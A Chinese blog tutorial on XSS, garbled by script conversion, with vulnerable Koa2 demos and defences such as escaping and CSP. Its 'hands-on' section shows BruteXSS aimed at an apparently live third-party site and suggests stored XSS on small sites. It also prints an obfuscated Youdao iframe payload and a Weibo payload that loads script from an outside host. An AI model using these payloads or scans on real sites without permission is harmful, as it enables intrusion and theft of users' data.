Web 安全防護戰 - 淺談XSS

因爲以前太忙了,老是沒有時間把本地寫好的文章梳理整理後發出去。近期有時間了,才慢慢的整理後發出來(本地寫的大多數時候是爲了本身能看,哈哈哈)。javascript

文章首發於 Web 安全防護戰 - 淺談XSSphp

在進入 web 安全知識以前,建議對 HTTP 有所瞭解,能夠看HTTP 入門體檢,會對如下的內容有所幫助。html

XSS(Cross Site Scripting)

XSS,跨站腳本攻擊。很常見的一種攻擊方式,主要是經過腳本注入的方式進行攻擊用戶。一般有:反射型 XSS 、存儲型 XSS和 DOM 型 XSS。——跨站腳本 - 維基百科前端

反射型XSS

反射型 XSS,爲非持久型,能夠把它想象成反射弧。從發起帶有XSS腳本的請求,提交到服務端,服務端解析後響應隨之返回瀏覽器,最後瀏覽器將其響應解析並執行。簡單來講,通常都是由 URI 參數直接注入的攻擊。java

咱們用 Koa2 來模擬一下,如下是簡單的示例代碼:python

const Koa = require('koa');
const app = new Koa();

const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;

app.use(async ctx => {
  ctx.body = template.replace('#{root}', `welcome: ` + ctx.query.xss);
});

app.listen(3000);
複製代碼

在下面咱們能夠看到,瀏覽器會報錯,緣由是現代瀏覽器都會有 XSS 攔截的保護機制(這並不表明由於瀏覽器幫咱們作了而咱們就能夠忽略 XSS 的知識)。react

所以咱們須要在服務器設置響應首部X-XSS-Protection。因爲咱們是要模擬 XSS ,因此咱們先關閉 XSS 的保護 ctx.set('X-XSS-Protection', 0),而後就能夠看到如下結果,彈出 alert 彈窗。git

除了上面直接執行腳本以外,還能夠加載非同源的js文件,嵌入 iframe 頁面等等。github

存儲型XSS

存儲型 XSS,爲持久型。跟反射型 XSS 的惟一區別在因而否會保存在服務器,如數據庫,內存等。而當別人訪問該頁面時,就會受到 XSS 代碼的攻擊。危害相比反射型更加嚴重,也更隱匿。web

咱們再次用Koa2來模擬一下,如下是簡單的示例代碼:

const Koa = require('koa');
const app = new Koa();

const template = ` <html> <head> <meta charset="UTF-8"> <title>Document</title> </head> <body> #{root} </body> </html> `;

// 模擬數據庫
const database = {
  message: '',
}

app.use(async ctx => {
  let url = ctx.request.url;
  if (url.indexOf('/blog') === 0) {
    database.message = ctx.query.message;
    ctx.body = '發送成功~'
  } else {
    ctx.set('X-XSS-Protection', 0);
    ctx.body = template.replace('#{root}', `來自某某人的消息:` + database.message);
  }
});

app.listen(3000);
複製代碼

大概的步驟是模擬類博客那種,黑客利用漏洞向網站發送帶有 XSS 攻擊腳本到服務器,服務器沒有任何的安全校驗直接保存到數據庫 database,當其餘用戶訪問帶有該 XSS 腳本的頁面時就被攻擊了。在這裏咱們發送一個帶用 iframe 劫持的請求到服務器,用戶收到響應時就會返回該 iframe 頁面。

DOM 型 XSS

DOM 型 XSS,爲非持久型,主要是利用前端的代碼邏輯漏洞,攻擊者植入惡意代碼,而後瀏覽器解析惡意代碼後執行形成的 XSS 攻擊。

如下是簡單的示例代碼:

<html>
<head>
  <meta charset="UTF-8">
  <title>Document</title>
</head>
<body>
  DOM 型 XSS
</body>
<script type="text/javascript"> setTimeout('alert(1)'); setInterval('alert(2)'); eval('alert(3)'); </script>
</html>
複製代碼

常見 XSS 注入點

  • HTML 節點內容,例如動態生成,裏面包含用戶輸入信息,那麼有可能會攜帶腳本;
  • HTML 節點屬性,例如圖片的 onerror、onclick 事件;超連接 href、輸入框 value 屬性;
  • JavaScript 代碼,例如 JS 代碼中存在後臺注入的變量或如 react 的 dangerouslySetInnerHTML;
  • 富文本,例如富文本須要過濾須要正常展現的 html 代碼以外的腳本;

常見危害

  • 獲取頁面數據;
  • 盜取 Cookie,獲取敏感信息;
  • 劫持前端邏輯;
  • 假裝身份,利用可信任來進行不容許的操做;
  • 進行 DDoS 攻擊;
  • ……

常見防護方法

  • 瀏覽器自帶防護,如咱們上面提到的,假如在服務器不設置X-XSS-Protection,現代瀏覽器也同樣會爲咱們攔截大部分的 XSS 攻擊(反射型 XSS,並且只會攔截出如今 HTML 內容或屬性中,同時也並非全部瀏覽器都支持);
  • 節點內容轉義,通常會在入數據庫以前轉義或者在展現的時候轉義,可是入庫以前轉義須要注意的是,一、客戶端不只僅只有Web端,也有iOS等終端,因此可能會致使出現亂碼;二、轉義後的字符串跟長度跟預期的字符串長度發生變化,如’<‘ 轉成 ‘<’,由1個字符變成了4個字符
// 展現轉義簡單處理
function escapeHtml (str) {
  if (!str) return '';
  return str.replace(/&/g, '&amp;')
           .replace(/</g, '&lt;')
           .replace(/>/g, '&gt;')
           .replace(/"/g, '&quot;')
           .replace(/'/g, '&#x27;')
           .replace(/\//g, '&#x2F;');
}
複製代碼
  • JavaScript 內容轉義,同理節點內容轉義,可是處理方法稍微不一樣,可使用JSON.stringify來處理;
  • Angular / Vue / React,不建議使用 [innerHTML]/v-html/dangerouslySetInnerHTML 來插入 html 元素;
  • eval()/setTimeout()/setInterval(),都是能夠直接將字符串當代碼段運行;
  • 富文本內容轉義,相對於節點內容轉義跟 JavaScript 內容轉義,富文本內容轉義比較複雜,可是大多數處理的思路都是相同的,設置轉義白名單,對用戶輸入的內容進行過濾,可使用 js-xss 庫;
  • CSP(Content-Security-Policy),能夠參考內容安全策略( CSP ) - HTTP | MDN,關於 CSP 入門教程,能夠前往阮一峯老師的博客 - CSP

整體來講,咱們能作的只是下降 XSS 攻擊的風險,XSS 的攻防戰一直存在也十分複雜。最後給一下XSS過濾繞過速查表,祝你們看得開心(溜了~

實戰 && 案例

是否你會存在這樣的僥倖心理,看完上文後以爲只要進行轉義就好了,是的,其實只要進行轉義就好了,問題就是從XSS過濾繞過速查表看出,過濾規則表仍是蠻多的。咱們來簡單的實戰一下。

XSS 檢測工具備不少,有BruteXSSXSSerBeef-XSS等等,能夠說靠本身在本地掃描本身本地項目是否存在 XSS 漏洞了。咱們在這裏用BruteXSS來演示一下,僅作學習,切勿犯法。

實戰

BruteXSS 是一個根據暴力注入參數的跨站點腳本檢測工具,不只僅支持 GET 請求,還支持 POST 請求。它能從指定的詞庫中夾在多種 payload 進行注入,而且使用指定的 payload 和掃描檢查這些存在的 XSS 漏洞的參數。

咱們從 github 下載BruteXSS,之因此下載這個是由於它有 wordlist-huge.txt,也就是咱們所說的 payload 詞庫,它約有5000條 payload 腳本。接着咱們還須要安裝 Python 2.7,pip install coloramapip install Mechanize

執行 python brutexss.py,正常狀況下會出現如下界面:

接着,搓搓期待的小手,咱們能夠處處學(sa)習(ye)了。找了很久好不容易纔找到一個,因而咱們就開始行動,具體的操做在這裏就不講解了,由於一步一步看操做,很簡單。咱們找的是使用 GET 方法,這類漏洞比較好找,只要對方有輸入框便可(如今的瀏覽器以及網站多多少少都會防護部分XSS,因此不太好找)。

能夠看到參數 q 有一個遺漏的注入點,因而咱們就來試試看,是否真的成效。

(,,#゚Д゚),沒想到竟然成了,我試了好多幾乎都被後臺攔截了,這個竟然成了(,,#゚Д゚)。能夠看出經過 payload 給出的攻擊腳本能順利的彈出 1 這個框。這個就是典型的反射型 XSS 攻擊。

除此以外,咱們還能夠利用該工具在一些破破爛爛的邊緣網站發帖來實現存儲型 XSS攻擊。可是這個工具也只是輔助工具,並不表明經過該工具掃描不出的就無漏洞,更多攻擊者靠的但是技術以及經驗。

案例

烏雲不在的第三個年頭,想它。 ———— 魯迅

不只僅是破破爛爛的邊緣小網站,也有大公司也存在過 XSS 攻擊的案例。

案例1 有道雲筆記分享出現 XSS 攻擊漏洞

  1. 編輯完有道雲筆記後保存而後經過FiddlerCharles進行抓包;
  2. 因爲有道雲在對 iframesrcdoc 沒作處理,所以能夠利用這個弱點來進行注入 payload,而後分享給別人,payload 以下;
  3. 修復的方法也很簡單,就是對其針對 iframesrcdoc 增強過濾就好了;
<#<iframe class=&quot;&#x7a;&#x68;&#x6f;&#x75;zhou&quot; src='javAscript:confirm(1111)'/1111111wooyun/)"');' href=`vBscript:msgbox('"');` srcdoc='vBscr&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;&#x3b;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;ipt:msgbox('"');' alt=`

` yuyangzhou="<iframe" onclick=eval('<script>alert(/martinzhou/)</script>'); style=&quot;font-family:e/* &#*/x/*&#x0000000022;*/p/*&gt;*/r/*onkeydown=*/ession(confirm(5));"iframe>zhou&quot;>5</iframe>

``<div class=" \\'" src=&nbsp;javAscript:confirm('1"');&nbsp; href=`data:q;base64,PHNjcmlwdD5hbGVydCgnQHFhYicpPC9zY3JpcHQ+` srcdoc= javAscript:confirm('1"');  alt="zhou" yuyangzhou=``<div/onmouseover=prompt(1)` onload=alert('1"'); style=&nbsp;font-family:e/*;/*/x/*&#34;*/p/*&quot;*/r/*onclick=*/ession(confirm(0));""`<div/onmouseover=prompt(1)&nbsp;>0</div>
複製代碼

案例2 新浪微博反射型 XSS

  1. 在新浪微博某個分享頁,有這樣的一個接口http://book.weibo.com/newcms/i/weibo_send.php
  2. 當錯誤時返回的數據結構爲以下;
// 也就是說這個接口會校驗`error.referer`
{"code":-1,"message":"\u8bf7\u6c42\u6e90\u4e0d\u5141\u8bb8[http:\/\/error.referer]"}
複製代碼
  1. error.referer返回來後頁面的響應報文爲Content-Type: text/html; charset=utf-8,既然錯誤後的Content-Typetext/html,那麼咱們就能夠在此作文章;
  2. 雖然在 Chrome 和 Firefox 下,referrer 都會被進行 url encode致使沒法插入HTML標籤。可是該問題,能夠在 IE 進行 XSS 攻擊;
  3. 咱們在本身的服務器作一些處理,向咱們服務器發起請求,即在瀏覽器地址欄輸入以下 URL;
// e=document.createElement("script");e.src="http://a.xxx.xyz/book.weibo.js",document.documentElement.appendChild(e)
// 將上面的轉換爲 char code 的形式
// 完整 URL 以下
http://a.xxx.xyz/?a=<img src=1 onerror=eval(String.fromCharCode(101,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,101,46,115,114,99,61,34,104,116,116,112,58,47,47,97,46,122,104,99,104,98,105,110,46,120,121,122,47,98,111,111,107,46,119,101,105,98,111,46,106,115,34,44,100,111,99,117,109,101,110,116,46,100,111,99,117,109,101,110,116,69,108,101,109,101,110,116,46,97,112,112,101,110,100,67,104,105,108,100,40,101,41))>
複製代碼
  1. 請求後咱們的服務器會重定向跳轉到http://book.weibo.com/newcms/i/weibo_send.php,這時候的 error.referer 就會被咱們植入 XSS 攻擊腳本了。

小結

能夠看到,大多數漏洞都是處於繞來繞去最後發現漏洞的地方沒有進行過濾轉義處理。正所謂 攻擊千萬條,安全第一條。過濾不規範,開發兩行淚。

參考

相關文章
相關標籤/搜索